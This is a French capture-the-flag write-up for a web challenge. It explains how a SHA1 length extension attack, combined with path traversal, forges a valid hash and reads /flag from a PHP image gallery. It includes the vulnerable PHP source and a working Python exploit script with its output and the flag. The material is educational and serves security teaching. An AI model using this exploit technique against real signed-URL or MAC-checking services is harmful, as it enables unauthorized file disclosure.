Énoncé
Woof woof
http://chal.competitivecyber.club:7777
Author: Dylan (elbee3779)
Aperçu
Pour ce challenge web, voici les fichiers sources fournis :
.
├── assets
│ ├── BAD.gif
│ ├── script.js
│ └── style.css
├── index.php
├── pupper
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ ├── 7.png
│ └── 8.png
└── view.php
2 directories, 13 files
Le site web correspond à une galerie d’images qu’il est possible de visualiser en plus grand. Lorsque que l’on clique sur une image pour l’agrandir, une redirection vers /view.php
avec les paramètres pic
et hash
sera effectué. Le premier paramètre correspond à la valeur de l’attribut rel
et le second à celui de l’attribut media
de la balise a
:
<a href="#" media="06dadc9db741e1c2a91f266203f01b9224b5facf" rel="1.png">
<img src="pupper/1.png" alt="">
</a>
Analysons le fichier view.php
:
<?php
$pic = $_GET['pic'];
$hash = $_GET['hash'];
if(sha1("TEST SECRET1".$pic)==$hash){
$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
echo "<!DOCTYPE html>";
echo "<html><body><h1>Here's your picture:</h1>";
echo "<img src='data:image/png;base64,".$imgdata."'>";
echo "</body></html>";
}else{
echo "<!DOCTYPE html><html><body>";
echo "<h1>Invalid hash provided!</h1>";
echo '<img src="assets/BAD.gif"/>';
echo "</body></html>";
}
// The flag is at /flag, that's all you're getting!
?>
On peut voir ici que la valeur de pic
correspond au nom du fichier lu par la fonction file_get_contents()
et hash
à SHA1(secret || $pic)
. Pour lire un fichier sur le serveur, il faut donc avoir la bonne signature SHA1 du secret concaténé avec le nom du fichier à lire. En plus de cela on voit une loose comparison au niveau de la condition qui vérifie la signature. On pense alors à la vulnérabilité PHP type junggling. Cependant ici pour l’exploiter il nous faudrait pouvoir générer un hash SHA1 sous la forme 0e
suivi de chiffres (de 0 à 9) à partir d’une entrée nous permettant de lire de fichier /flag
. Ceci est impossible, il faut alors trouver une autre astuce pour lire le flag.
Résolution
Pour résoudre ce challenge, il va falloir comprendre brièvement comment le SHA1 hash les entrées. Ensuite à partir de ça on va pouvoir exploiter une vulnérabilité qui concerne les algorithmes basés sur la Construction de Merkle-Damgård comme le MD5, SHA1 ou certaines versions du SHA2.
SHA1
Voici un schema pour expliquer brièvement comment le SHA1 hash les entrées :
Le SHA1 va découper l’entrée en block de 64 octets, si un block fait moins de 64 octets un padding sera ajouté pour l’avoir à la bonne taille. Le dernier chunk contiendra un bit de fin à 1 soit 0x80 (en base2 => 1000 0000), ainsi que le padding puis la taille de l’entrée sur 8 octets (en bit). Ensuite chaque chunk sera haché à partir de l’empreinte généré par le chunk précédent. Pour le premier chunk h0, h1, h2, h3 et h4 sont des valeurs par défaut. Maintenant qu’on a rapidement comprit comment le SHA1 fonctionnait, on va pouvoir comprendre comment l’attaque à utiliser marche.
Length Extension Attack
Cette attaque utilise le fait que le SHA1 hash chaque block à partir de l’empreinte du block précédent. En effet on pourrait très bien faire en sorte de remplir le chunk1 avec “1.png”, le bit à 1, le padding et la taille de l’entrée, puis écrire ce qu’on veut dans le chunk2. Puisque les données du chunk1 seront les mêmes que celles de base on aura alors l’empreinte du chunk1 pour hacher le chunk2 :
Revenons sur le code source du fichier view.php
qui nous intéresse :
$pic = $_GET['pic'];
$hash = $_GET['hash'];
if(sha1("TEST SECRET1".$pic)==$hash){
$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
echo "<!DOCTYPE html>";
echo "<html><body><h1>Here's your picture:</h1>";
echo "<img src='data:image/png;base64,".$imgdata."'>";
echo "</body></html>";
}
Pour lire le flag on a juste à remplir le chunk1 comme indiqué précédemment et mettre le path à ajouter au niveau du chunk2. Le payload pour faire ça sera passé au paramètre pic
. Ensuite il faut générer le hash du payload passé à pic
à partir de l’empreinte de secret||1.png
, c’est à dire 06dadc9db741e1c2a91f266203f01b9224b5facf
.
Exploitation
Pour exploiter cette vulnérabilité, on peut utiliser hlextend pour simplifier les choses. Puisqu’on ne connait pas la taille du secret on va simplement tester plusieurs tailles de padding jusqu’à ce que cela fonctionne.
PoC :
import requests
import hlextend
for i in range(1, 30):
sha = hlextend.new('sha1')
pic = sha.extend(b'/../../../../../flag', b'1.png', i, '06dadc9db741e1c2a91f266203f01b9224b5facf')
hash = sha.hexdigest()
url = f'http://chal.competitivecyber.club:7777/view.php?pic={requests.utils.quote(pic)}&hash={hash}'
r = requests.get(url)
if 'Invalid hash provided!' not in r.text:
print(r.text)
break
Résultat :
$ python3 solver.py
<!DOCTYPE html><html><body><h1>Here's your picture:</h1><img src='data:image/png;base64,cGN0ZnszeHQzbmRfbXlfdGg0bms1X2U5YjVmNmFhMDd9Cg=='></body></html>
$ echo "cGN0ZnszeHQzbmRfbXlfdGg0bms1X2U5YjVmNmFhMDd9Cg=="|base64 -d
pctf{3xt3nd_my_th4nk5_e9b5f6aa07}
Flag : pctf{3xt3nd_my_th4nk5_e9b5f6aa07}